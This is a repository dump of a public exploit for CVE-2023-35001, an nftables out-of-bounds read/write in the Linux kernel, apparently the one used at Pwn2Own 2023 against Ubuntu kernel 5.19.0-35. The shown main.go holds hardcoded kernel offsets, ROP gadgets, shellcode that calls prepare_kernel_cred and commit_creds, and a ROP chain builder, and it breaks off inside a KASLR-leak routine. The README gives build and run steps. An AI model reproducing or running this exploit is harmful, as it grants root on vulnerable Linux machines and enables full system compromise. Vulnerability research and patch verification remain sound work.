Full Code of synacktiv/CVE-2023-35001 for AI

master 80ff412dc821 cached
6 files
51.2 KB
20.6k tokens
14 symbols
1 requests
Download .txt
Repository: synacktiv/CVE-2023-35001
Branch: master
Commit: 80ff412dc821
Files: 6
Total size: 51.2 KB

Directory structure:
gitextract__sgpeqhj/

├── Makefile
├── README.md
├── go.mod
├── go.sum
├── main.go
└── src/
    └── wrapper.c

================================================
FILE CONTENTS
================================================

================================================
FILE: Makefile
================================================
CC = gcc
CFLAGS = -Wall -Wextra -Werror
CFLAGS += -std=c99
CFLAGS += -Os -g0
CFLAGS += -D_GNU_SOURCE -D_DEFAULT_SOURCE -D_POSIX_C_SOURCE=200809L
LDFLAGS = -static -s
LDLIBS = -lc

all: lpe.zip

lpe.zip: exploit wrapper
	zip $@ $^

exploit: main.go
	go build

wrapper: src/wrapper.c
	$(CC) $(CFLAGS) $^ -o $@

clean:
	$(RM) exploit wrapper
	$(RM) src/*.o
	$(RM) lpe.zip

.PHONY: all clean run


================================================
FILE: README.md
================================================
# nftables oob read/write exploit (CVE-2023-35001)

Exploit used at pwn2own Vancouver 2023 on Ubuntu desktop. The exploit supports
the kernel version available at the beginning of the event (5.19.0-35).

## Requirements

* C compiler
* Go compiler

## Usage

```
# Build
$ make

# Run
$ ./exploit
```

This produces a `lpe.zip` file which can be unpacked on the target. There are
two binaries in the archive:

- **wrapper**: A C binary used to enter namespaces
- **exploit**: The actual exploit

The `exploit` file is the program that should be executed. It uses the `wrapper`
program to call itself and enter a new namespace.


================================================
FILE: go.mod
================================================
module exploit

go 1.15

require (
	github.com/florianl/go-nflog v1.1.0 // indirect
	github.com/florianl/go-nflog/v2 v2.0.1
	github.com/google/nftables v0.0.0-20220611213346-a346d51f53b3
	github.com/mdlayher/netlink v1.4.2
	github.com/siadat/ipc v1.0.0 // indirect
	github.com/vishvananda/netns v0.0.0-20180720170159-13995c7128cc
	golang.org/x/sys v0.0.0-20211205182925-97ca703d548d
)


================================================
FILE: go.sum
================================================
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/BurntSushi/toml v0.4.1 h1:GaI7EiDXDRfa8VshkTj7Fym7ha+y8/XxIgD2okUIjLw=
github.com/BurntSushi/toml v0.4.1/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ=
github.com/cilium/ebpf v0.5.0/go.mod h1:4tRaxcgiL706VnOzHOdBlY8IEAIdxINsQBcU4xJJXRs=
github.com/cilium/ebpf v0.7.0/go.mod h1:/oI2+1shJiTGAMgl6/RgJr36Eo1jzrRcAWbcXO2usCA=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/florianl/go-nflog v1.1.0 h1:7ujkntClswr/TpVbCPLEJOiMzJiRSl2vmBH/ByGA7gA=
github.com/florianl/go-nflog v1.1.0/go.mod h1:ZIVMgm8TkUDJFvDFoaVqlGgGsEYKfSedN5EPIZomtEI=
github.com/florianl/go-nflog/v2 v2.0.1 h1:8csWIqFQ2vDaZJkxezY3dXDB7bEFg0VRFsYd2Bzj3II=
github.com/florianl/go-nflog/v2 v2.0.1/go.mod h1:g+SOgM/SuePn9bvS/eo3Ild7J71nSb29OzbxR+7cln0=
github.com/frankban/quicktest v1.11.3/go.mod h1:wRf/ReqHper53s+kmmSZizM8NamnL3IM0I9ntUbOk+k=
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ=
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/nftables v0.0.0-20220611213346-a346d51f53b3 h1:Fq+jS60rvgwyi9zFyGUXwsdNViYcw1tr3CA8ZoYQVEk=
github.com/google/nftables v0.0.0-20220611213346-a346d51f53b3/go.mod h1:b97ulCCFipUC+kSin+zygkvUVpx0vyIAwxXFdY3PlNc=
github.com/josharian/native v0.0.0-20200817173448-b6b71def0850 h1:uhL5Gw7BINiiPAo24A2sxkcDI0Jt/sqp1v5xQCniEFA=
github.com/josharian/native v0.0.0-20200817173448-b6b71def0850/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
github.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw=
github.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ=
github.com/jsimonetti/rtnetlink v0.0.0-20201009170750-9c6f07d100c1/go.mod h1:hqoO/u39cqLeBLebZ8fWdE96O7FxrAsRYhnVOdgHxok=
github.com/jsimonetti/rtnetlink v0.0.0-20201216134343-bde56ed16391/go.mod h1:cR77jAZG3Y3bsb8hF6fHJbFoyFukLFOkQ98S0pQz3xw=
github.com/jsimonetti/rtnetlink v0.0.0-20201220180245-69540ac93943/go.mod h1:z4c53zj6Eex712ROyh8WI0ihysb5j2ROyV42iNogmAs=
github.com/jsimonetti/rtnetlink v0.0.0-20210122163228-8d122574c736/go.mod h1:ZXpIyOK59ZnN7J0BV99cZUPmsqDRZ3eq5X+st7u/oSA=
github.com/jsimonetti/rtnetlink v0.0.0-20210212075122-66c871082f2b/go.mod h1:8w9Rh8m+aHZIG69YPGGem1i5VzoyRC8nw2kA8B+ik5U=
github.com/jsimonetti/rtnetlink v0.0.0-20210525051524-4cc836578190/go.mod h1:NmKSdU4VGSiv1bMsdqNALI4RSvvjtz65tTMCnD05qLo=
github.com/jsimonetti/rtnetlink v0.0.0-20211022192332-93da33804786/go.mod h1:v4hqbTdfQngbVSZJVWUhGE/lbTFf9jb+ygmNUDQMuOs=
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/mdlayher/ethtool v0.0.0-20210210192532-2b88debcdd43/go.mod h1:+t7E0lkKfbBsebllff1xdTmyJt8lH37niI6kwFk9OTo=
github.com/mdlayher/ethtool v0.0.0-20211028163843-288d040e9d60/go.mod h1:aYbhishWc4Ai3I2U4Gaa2n3kHWSwzme6EsG/46HRQbE=
github.com/mdlayher/genetlink v1.0.0/go.mod h1:0rJ0h4itni50A86M2kHcgS85ttZazNt7a8H2a2cw0Gc=
github.com/mdlayher/netlink v0.0.0-20181210160939-e069752bc835/go.mod h1:a3TlQHkJH2m32RF224Z7LhD5N4mpyR8eUbCoYHywrwg=
github.com/mdlayher/netlink v0.0.0-20190409211403-11939a169225/go.mod h1:eQB3mZE4aiYnlUsyGGCOpPETfdQq4Jhsgf1fk3cwQaA=
github.com/mdlayher/netlink v1.0.0/go.mod h1:KxeJAFOFLG6AjpyDkQ/iIhxygIUKD+vcwqcnu43w/+M=
github.com/mdlayher/netlink v1.1.0/go.mod h1:H4WCitaheIsdF9yOYu8CFmCgQthAPIWZmcKp9uZHgmY=
github.com/mdlayher/netlink v1.1.1/go.mod h1:WTYpFb/WTvlRJAyKhZL5/uy69TDDpHHu2VZmb2XgV7o=
github.com/mdlayher/netlink v1.2.0/go.mod h1:kwVW1io0AZy9A1E2YYgaD4Cj+C+GPkU6klXCMzIJ9p8=
github.com/mdlayher/netlink v1.2.1/go.mod h1:bacnNlfhqHqqLo4WsYeXSqfyXkInQ9JneWI68v1KwSU=
github.com/mdlayher/netlink v1.2.2-0.20210123213345-5cc92139ae3e/go.mod h1:bacnNlfhqHqqLo4WsYeXSqfyXkInQ9JneWI68v1KwSU=
github.com/mdlayher/netlink v1.3.0/go.mod h1:xK/BssKuwcRXHrtN04UBkwQ6dY9VviGGuriDdoPSWys=
github.com/mdlayher/netlink v1.4.0/go.mod h1:dRJi5IABcZpBD2A3D0Mv/AiX8I9uDEu5oGkAVrekmf8=
github.com/mdlayher/netlink v1.4.1/go.mod h1:e4/KuJ+s8UhfUpO9z00/fDZZmhSrs+oxyqAS9cNgn6Q=
github.com/mdlayher/netlink v1.4.2 h1:3sbnJWe/LETovA7yRZIX3f9McVOWV3OySH6iIBxiFfI=
github.com/mdlayher/netlink v1.4.2/go.mod h1:13VaingaArGUTUxFLf/iEovKxXji32JAtF858jZYEug=
github.com/mdlayher/socket v0.0.0-20210307095302-262dc9984e00/go.mod h1:GAFlyu4/XV68LkQKYzKhIo/WW7j3Zi0YRAz/BOoanUc=
github.com/mdlayher/socket v0.0.0-20211007213009-516dcbdf0267/go.mod h1:nFZ1EtZYK8Gi/k6QNu7z7CgO20i/4ExeQswwWuPmG/g=
github.com/mdlayher/socket v0.0.0-20211102153432-57e3fa563ecb h1:2dC7L10LmTqlyMVzFJ00qM25lqESg9Z4u3GuEXN5iHY=
github.com/mdlayher/socket v0.0.0-20211102153432-57e3fa563ecb/go.mod h1:nFZ1EtZYK8Gi/k6QNu7z7CgO20i/4ExeQswwWuPmG/g=
github.com/siadat/ipc v1.0.0 h1:XYELasVEvDfiPuglKzrXiXKfSTXcnwk2aIN4UCK5gMU=
github.com/siadat/ipc v1.0.0/go.mod h1:RCOzuAW5gAm5d3u+ykaWAcPx/Wkp/mv/SQq7H95C2xs=
github.com/vishvananda/netns v0.0.0-20180720170159-13995c7128cc h1:R83G5ikgLMxrBvLh22JhdfI8K6YXEPHx5P03Uu3DRs4=
github.com/vishvananda/netns v0.0.0-20180720170159-13995c7128cc/go.mod h1:ZjcWmFBXmLKZu9Nxj3WKYEafiSqer2rnvPr0en9UNpI=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.4.0/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
github.com/yuin/goldmark v1.4.1/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.5.1 h1:OJxoQ/rynoF0dcCdI7cLPktw/hR2cueqYfjm43oqK38=
golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro=
golang.org/x/net v0.0.0-20181207154023-610586996380/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20190827160401-ba9fcec4b297/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20191007182048-72f939374954/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20201010224723-4f7140c49acb/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20201216054612-986b41b23924/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210805182204-aaa1db679c0d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210928044308-7d9f5e0b762b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211015210444-4f30a5c0130f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211020060615-d418f374d309/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211201190559-0a0e4e1bb54c/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211209124913-491a49abca63 h1:iocB37TsdFuN6IBRZ+ry36wrkoV51/tl5vOWqkcPGvY=
golang.org/x/net v0.0.0-20211209124913-491a49abca63/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20181210030007-2a47403f2ae5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190411185658-b44545bcd369/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190826190057-c7b8b68b1456/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201118182958-a01c418693c7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201218084310-7d0127a74742/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210110051926-789bb1bd4061/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210123111255-9b0068b26619/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210216163648-f7da38b97c65/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210525143221-35b2ab0089ea/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210809222454-d867a43fc93e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210906170528-6f6e22806c34/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211019181941-9d821ace8654/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211205182925-97ca703d548d h1:FjkYO/PPp4Wi0EAUOVLxePm7qVW4r4ctbWpURyuOD0E=
golang.org/x/sys v0.0.0-20211205182925-97ca703d548d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
golang.org/x/tools v0.1.7/go.mod h1:LGqMHiF4EqQNHR1JncWGqT5BVaXmza+X+BDGol+dOxo=
golang.org/x/tools v0.1.8 h1:P1HhGGuLW4aAclzjtmJdf0mJOjVUZUzOTqkAkWL+l6w=
golang.org/x/tools v0.1.8/go.mod h1:nABZi5QlRsZVlzPpHl034qft6wpY4eDcsTt5AaioBiU=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
honnef.co/go/tools v0.2.1/go.mod h1:lPVVZ2BS5TfnjLyizF7o7hv7j9/L+8cZY2hLyjP9cGY=
honnef.co/go/tools v0.2.2 h1:MNh1AVMyVX23VUHE2O27jm6lNj3vjO5DexS4A1xvnzk=
honnef.co/go/tools v0.2.2/go.mod h1:lPVVZ2BS5TfnjLyizF7o7hv7j9/L+8cZY2hLyjP9cGY=


================================================
FILE: main.go
================================================
package main

import (
	"C"
	"bytes"
	"encoding/binary"
	"fmt"
	"net"
	"time"

	"github.com/google/nftables"
	"golang.org/x/sys/unix"
)
import (
	"math/rand"
	"os"
	"os/exec"
	"path"
	"runtime"
	"strconv"
	"strings"
	"syscall"
	"unsafe"

	"github.com/google/nftables/expr"
	"github.com/mdlayher/netlink"
	"github.com/vishvananda/netns"
)

/// Offsets for exploits
type exploitConfig struct {
	// Offset from meta_set ops to nf_tables.ko base
	metaSetOpsOff uint64
	// Offset from nf_tables.ko base to byteorder_ops
	byteorderOpsOff uint64
	// Offset from nf_tables.ko base to payload_ops
	payloadOpsOff uint64
	// Offset from nf_tables.ko base to immediate_ops
	immOpsOff uint64
	/// Offset from the regs array on the stack in nft_chain and
	/// the return address to ip_local_deliver
	ipLocalDeliverRegOff uint64
	// ip_local_deliver return from nft_do_chain
	ipLocalDeliverReturn uint64

	// Offset to '__x64_sys_modify_ldt' function in the kernel
	x64_sys_modify_ldt_addr uint64
	// Offset to 'do_task_dead' function in the kernel
	do_task_dead_addr uint64
	// Offset to 'set_memory_rw' function in the kernel
	set_memory_rw_addr uint64
	// Offset to 'prepare_kernel_cred' function in the kernel
	prepare_kernel_cred uint64
	// Offset to 'commit_creds' function in the kernel
	commit_creds uint64
	// Offset to '_copy_from_user' function in the kernel
	copy_from_user_priv uint64
	// Offset to 'pop rdi; ret' gadget in the kernel
	pop_rdi uint64
	// Offset to 'pop rsi; ret' gadget in the kernel
	pop_rsi uint64
	// Offset to 'pop rdx; ret' gadget in the kernel
	pop_rdx uint64
}

var currentConfig *exploitConfig

func CToGoString(b []byte) string {
	i := bytes.IndexByte(b, 0)
	if i < 0 {
		i = len(b)
	}
	return string(b[:i])
}

var cpuCount int = 0
var shellcode []byte = []byte{0x48, 0x31, 0xff, //  xor    rdi,rdi
	0xe8, 0x00, 0x00, 0x00, 0x00, // call   prepare_kernel_cred - 0x8
	0x48, 0x89, 0xc7, // mov    rdi,rax
	0xe8, 0x00, 0x00, 0x00, 0x00, // call   commit_creds - 0x10
	0xc3, // ret
}

func init() {
	configs := make(map[string]exploitConfig)

	// Ubuntu kinetic kudu
	configs["5.19.0-35-generic"] = exploitConfig{
		metaSetOpsOff:           0x2fde0,
		byteorderOpsOff:         0x2f7a0,
		payloadOpsOff:           0x2f9e0,
		immOpsOff:               0x2f1e0,
		x64_sys_modify_ldt_addr: 0x48900,
		do_task_dead_addr:       0x118150,
		set_memory_rw_addr:      0xb3680,
		prepare_kernel_cred:     0x101ea0,
		commit_creds:            0x101bd0,
		copy_from_user_priv:     0x6edfe0,
		ipLocalDeliverRegOff:    0x278,
		ipLocalDeliverReturn:    0xcd9793,
		pop_rdi:                 0x692b8d, // 0xffffffff81692b8d : pop rdi ; test eax, 0x8948000f ; ret
		pop_rsi:                 0xa7c3e,  // 0xffffffff810a7c3e : pop rsi ; ret
		pop_rdx:                 0xa78b25, // 0xffffffff81a78b25 : pop rdx ; add al, 0x39 ; ret
	}

	u := unix.Utsname{}
	unix.Uname(&u)

	if cfg, ok := configs[CToGoString((u.Release[:]))]; ok {
		currentConfig = &cfg
		fmt.Printf("[+] Using config: %v\n", CToGoString(u.Release[:]))
	} else {
		panic(fmt.Errorf("[!] Kernel version '%v' is unsupported", string(u.Release[:])))
	}
}

func packet_leak_path() {
	// Now send a packet
	tx, err := net.DialUDP("udp4", nil, &net.UDPAddr{
		IP:   net.IPv4(127, 0, 0, 1),
		Port: 1337,
	})

	if err != nil {
		panic(err)
	}

	tx.Write([]byte{1, 2, 3, 4})
	tx.Close()
}

func packet_ropchain_path(ropchain []byte) {
	tx, err := net.DialUDP("udp4", nil, &net.UDPAddr{
		IP:   net.IPv4(127, 0, 0, 1),
		Port: 1337,
	})

	if err != nil {
		panic(err)
	}

	tx.Write(ropchain)
	tx.Close()
}

func craft_rop_chain(kernelBase uint64) []byte {
	payload := new(bytes.Buffer)

	p64 := func(val uint64) {
		_ = binary.Write(payload, binary.LittleEndian, val)
	}

	// set_memory_rw(sys_modify_ldt, 2)
	p64(kernelBase + currentConfig.pop_rdi)
	p64(kernelBase + (currentConfig.x64_sys_modify_ldt_addr & (0xffff_ffff_ffff_f000)))
	p64(kernelBase + currentConfig.pop_rsi)
	p64(2)
	p64(kernelBase + currentConfig.set_memory_rw_addr)

	// Patch shellcode
	prepare_kernel_cred_shellcode := currentConfig.prepare_kernel_cred - currentConfig.x64_sys_modify_ldt_addr - 0x8
	shellcode[4] = uint8(prepare_kernel_cred_shellcode)
	shellcode[5] = uint8(prepare_kernel_cred_shellcode >> 8)
	shellcode[6] = uint8(prepare_kernel_cred_shellcode >> 16)
	shellcode[7] = uint8(prepare_kernel_cred_shellcode >> 24)

	commit_creds_shellcode := currentConfig.commit_creds - currentConfig.x64_sys_modify_ldt_addr - 0x10
	shellcode[12] = uint8(commit_creds_shellcode)
	shellcode[13] = uint8(commit_creds_shellcode >> 8)
	shellcode[14] = uint8(commit_creds_shellcode >> 16)
	shellcode[15] = uint8(commit_creds_shellcode >> 24)

	// copy shellcode to kernel (_copy_from_user)
	p64(kernelBase + currentConfig.pop_rdi)
	p64(kernelBase + currentConfig.x64_sys_modify_ldt_addr)
	p64(kernelBase + currentConfig.pop_rsi)
	p64(uint64(uintptr(unsafe.Pointer(&shellcode[0]))))
	p64(kernelBase + currentConfig.pop_rdx)
	p64(uint64(len(shellcode)))
	p64(kernelBase + currentConfig.copy_from_user_priv)

	// Make the kernel task hang
	p64(kernelBase + uint64(currentConfig.do_task_dead_addr))

	return payload.Bytes()
}

func leak_module_step(conn *nftables.Conn, moduleBase uint64, kernelBase uint64) error {
	// Main table for important chains
	table := conn.AddTable(&nftables.Table{
		Family: nftables.TableFamilyIPv4,
		Name:   "kaslr",
	})

	// Set recovering the leaked values from the stack
	leakSet := nftables.Set{
		Anonymous: false,
		Constant:  false,
		Name:      "leak-set",
		ID:        1,
		IsMap:     true,
		Table:     table,
		KeyType:   nftables.TypeInteger,
		DataType:  nftables.TypeInteger,
	}

	err := conn.AddSet(&leakSet, nil)

	if err != nil {
		return fmt.Errorf("Could no create set: %v", err)
	}

	// Chain used for leaking information off the stack
	leakChain := conn.AddChain(&nftables.Chain{
		Name:  "leak-chain",
		Table: table,
	})

